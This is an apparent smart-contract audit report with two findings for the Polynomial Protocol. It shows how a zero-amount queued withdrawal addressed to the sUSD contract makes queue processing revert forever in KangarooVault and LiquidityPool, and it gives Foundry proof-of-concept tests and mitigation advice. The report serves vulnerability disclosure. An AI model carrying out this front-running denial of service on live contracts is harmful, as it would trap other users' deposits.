Polynomial Protocol contest - Lirios's results

Lines of code

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/KangarooVault.sol#L269-L333

Vulnerability details

Impact

When the KangarooVault has an open position, any withdrawals that are initiated, are queued.

QueuedWithdrawals work in two steps.

1. A user initialtes the Withdrawal via initiateWithdrawal. This burns the VaultToken and if (positionData.positionId != 0) adds the request to the withdrawalQueue.
2. processWithdrawalQueue() can be called to process requests in the withdrawalQueue that have passed minWithdrawDelay to transfer the SUSD tokens to the user.

If the processing of a QueuedWithdraw entry in the withdrawalQueue reverts, the queuedWithdrawalHead will never increase and further processing of the queue will be impossible. This means that any users that have placed a QueuedWithdraw after the reverting entry will have lost their vaultToken without receiving their SUSD.

Proof of Concept

When calling the initiateWithdrawal() function, the user can provide an address of the receiver of funds. When processing the withdrawal queue, the contracts does all the required checks, and then transfers the SUSD to the provided user.

If we look at the Synthetix sUSD token and it's target implementation we will find that the SUSD token transfer code is:

sUSD MultiCollateralSynth:L723-L739

function _internalTransfer(
    address from,
    address to,
    uint value
) internal returns (bool) {
    /* Disallow transfers to irretrievable-addresses. */
    require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address");

    // Insufficient balance will be handled by the safe subtraction.
    tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
    tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));

    // Emit a standard ERC20 transfer event
    emitTransfer(from, to, value);

    return true;
}

This means any SUSD transfer to the SUSD proxy or implementation contract, will result in a revert. An attacker can use this to make a initiateWithdrawal() request with user=sUSDproxy or user=sUSD_MultiCollateralSynth. Any user that request a Withdrawal via initiateWithdrawal() after this, will lose their vault tokens without receiving their SUSD. The attacker can do this at any time, or by frontrunning a specific (large) initiateWithdrawal() request.

To test it, a check is added to the mock contract that is used for SUSD in the test scripts:

diff --git a/src/test-helpers/MockERC20Fail.sol b/src/test-helpers/MockERC20Fail.sol
index e987f04..1ce10ec 100644
--- a/src/test-helpers/MockERC20Fail.sol
+++ b/src/test-helpers/MockERC20Fail.sol
@@ -18,6 +18,9 @@ contract MockERC20Fail is MockERC20 {
     }

     function transfer(address receiver, uint256 amount) public override returns (bool) {
+
+        require(receiver != address(0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB) , "Cannot transfer to this address");
+
         if (forceFail) {
             return false;
         }

In the KangarooVault.t.sol test script, the following test was added to demonstrated the issue:

// add to top of file:
import {IVaultToken} from "../../src/interfaces/IVaultToken.sol";


// add to KangarooTest Contract:
    function testWithdrawalDOS() public {

        IVaultToken vault_token = kangaroo.VAULT_TOKEN();
        // make deposit for user_2
        susd.mint(user_2, 2e23);
        vm.startPrank(user_2);
        susd.approve(address(kangaroo), 2e23);
        kangaroo.initiateDeposit(user_2, 2e23);
        assertEq(vault_token.balanceOf(user_2),2e23);
        vm.stopPrank();


        // have vault open a position to force queued wthdrawals
        testOpen();

        // vault has  position opened, withdrawal will be queued, vault_token burned, no USDC received
        vm.startPrank(user_2);
        kangaroo.initiateWithdrawal(user_2, 1e23);
        assertEq(susd.balanceOf(user_2),0);
        assertEq(vault_token.balanceOf(user_2),1e23);
        
        // process withdrawalqueue, withdrawam should pass
        skip(kangaroo.minWithdrawDelay());         
        kangaroo.processWithdrawalQueue(3);
        uint256 user_2_balance = susd.balanceOf(user_2);
        assertGt(user_2_balance,0);        
        vm.stopPrank();


        // user 3 frontruns with fake/reverting withdrawal request.
        // to 0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB (= SUSD MultiCollateralSynth contract address). 
        // This will cause SUSD transfer to revert.
        vm.startPrank(user_3);        
        kangaroo.initiateWithdrawal(0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB, 0);
        vm.stopPrank();

        // user_2 adds another withdrawal request, after the attackers request, vault_token burned, no USDC received
        vm.startPrank(user_2);  
        kangaroo.initiateWithdrawal(user_2, 1e23);
        assertEq(vault_token.balanceOf(user_2),0);


        // processWithdrawalQueue now reverts and no funds received
        skip(kangaroo.minWithdrawDelay());
        vm.expectRevert(bytes("TRANSFER_FAILED"));
        kangaroo.processWithdrawalQueue(3);
        assertEq(susd.balanceOf(user_2),user_2_balance);
        assertEq(vault_token.balanceOf(user_2),0);
        vm.stopPrank();

    }

Tools Used

Manual review, forge

Recommended Mitigation Steps

The processing of withdrawalQueue should have a mechanism to handle reverting QueuedWithdraw entries. Either by skipping them and/or moving them to another failedWithdrawals queue.

Lines of code

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/LiquidityPool.sol#L264-L333

Vulnerability details

Impact

The preferred way for withdrawals of the Liquiditypool is to do this via a withdrawal queue. According to Polynomial

Queuing will be the default deposit/withdraw mechanism (In the UI) and not planning to charge any fees for this mechanism
Instant deposit / withdraw is mechanism is meant for external integrations in case if they don't want to track status of the queued deposit or withdraw

It is also stimulated to use queueWithdraw() over withdraw() by charging a withdrawalFee for direct withdrawals.

QueuedWithdrawals work in two steps.

1. A user initialtes the Withdrawal via queueWithdraw(). This burns the liquidityTokens and adds the request to the withdrawalQueue.
2. processWithdraws() can be called to process requests in the withdrawalQueue that have passed minWithdrawDelay to transfer the SUSD tokens to the user.

If the processing of a QueuedWithdraw in the withdrawalQueue reverts, the queuedWithdrawalHead will never increase and further processing of the queue will be impossible. This means that any users that have placed a QueuedWithdraw after the reverting entry will have lost their liquiditytokens without receiving their SUSD.

Proof of Concept

When calling the queueWithdraw() function, the user can provide an address of the receiver of funds. When processing the withdrawal queue, the contracts does all the required checks, and then transfers the SUSD to the provided user.

If we look at the Synthetix sUSD token and it's target implementation we will find that the SUSD token transfer code is:

sUSD MultiCollateralSynth:L723-L739

    function _internalTransfer(
        address from,
        address to,
        uint value
    ) internal returns (bool) {
        /* Disallow transfers to irretrievable-addresses. */
        require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address");

        // Insufficient balance will be handled by the safe subtraction.
        tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
        tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));

        // Emit a standard ERC20 transfer event
        emitTransfer(from, to, value);

        return true;
    }

This means any transfer to the SUSD proxy or implementation contract, will result in a revert. An attacker can use this to make queueWithdraw() request with user=sUSDproxy or user=sUSD_MultiCollateralSynth. Any user that request a Withdrawal via queueWithdraw() after this, will lose their liquidity tokens without receiving their SUSD. The attacker can do this at any time, or by frontrunning a specific (large) queueWithdraw() request.

To test it, a check is added to the mock contract that is used for SUSD in the test scripts to simulate the SUSD contract behaviour:

diff --git a/src/test-helpers/MockERC20Fail.sol b/src/test-helpers/MockERC20Fail.sol
index e987f04..1ce10ec 100644
--- a/src/test-helpers/MockERC20Fail.sol
+++ b/src/test-helpers/MockERC20Fail.sol
@@ -18,6 +18,9 @@ contract MockERC20Fail is MockERC20 {
     }

     function transfer(address receiver, uint256 amount) public override returns (bool) {
+
+        require(receiver != address(0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB) , "Cannot transfer to this address");
+
         if (forceFail) {
             return false;
         }

In the test/LiquidityPool.Deposits.t.sol test file, the following was added. This results in a revert of the processWithdraws function and failing the test

iff --git a/test/LiquidityPool.Deposits.t.sol b/test/LiquidityPool.Deposits.t.sol    
index 0bb6f5f..8d70c60 100644
--- a/test/LiquidityPool.Deposits.t.sol
+++ b/test/LiquidityPool.Deposits.t.sol
@@ -291,6 +291,9 @@ contract LiquidityPoolTest is TestSystem {
         // user_2 i-withdraw 20$
         // user_3 q-withdraw 13$

+        // Frontrun all withdrawal requests, since amount =0, can be called by anyone
+        pool.queueWithdraw(0, 0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB);
+
         vm.prank(user_1);
         pool.queueWithdraw(2e19, user_1);
         vm.prank(user_3);

Tools Used

Manual review, forge

Recommended Mitigation Steps

The processing of withdrawalQueue should have a mechanism to handle reverting QueuedWithdraw entries. Either by skipping them and/or moving them to another failedWithdrawals queue.